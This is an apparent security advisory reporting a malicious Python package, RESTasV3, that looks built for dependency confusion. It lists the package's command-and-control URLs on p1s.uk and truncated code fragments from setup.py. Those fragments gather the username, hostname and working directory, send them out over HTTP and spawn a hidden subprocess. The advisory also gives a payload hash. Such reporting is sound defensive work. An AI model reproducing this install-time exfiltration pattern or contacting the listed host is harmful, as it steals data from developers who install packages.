GCVE-110-OSM-2026-8420

Malicious package detected. Behaviors: data exfiltration, code execution. DESTINATION - custom-c2: http://p1s.uk/dep-confusion/RESTasV3/?h={ (primary, plaintext) in setup.py - custom-c2: http://p1s.uk/dep-confusion/{pkg (plaintext) in src/RESTasV3/__init__.py - custom-c2: p1s.uk (plaintext) in setup.py EXFIL - Environment Variable Exfiltration in setup.py: "os.environ.get("USER", os.environ.get("USERNAME", "unknown")) d = os.getcwd() ur..." - System Information Exfiltration in setup.py: "socket.gethostname() u = os.environ.get("USER", os.environ.get("USERNAME", "unkn..." - HTTP Data Exfiltration in setup.py: "os.getcwd() url = "http://p1s.uk/dep-confusion/RESTasV3/?h={}&u={}&d={}&stage=bu..." - Network Request in setup.py: "urllib.request.urlopen(" - System Information Collection in setup.py: "socket.gethostname()" - System Information Collection in src/RESTasV3/__init__.py: "socket.gethostname()" ADDITIONAL FINDINGS - Shell Command Execution in src/RESTasV3/__init__.py: "subprocess.Popen(" - Silent Process Execution in src/RESTasV3/__init__.py: "stdout=subprocess.DEVNULL" PAYLOAD FILES setup.py INDICATORS (IOCs) - payloadFileHash: 570a1fc0c35594de0eee2dbd1efdae77df5ff381f3a7c36c6a1da2d2a73cae4d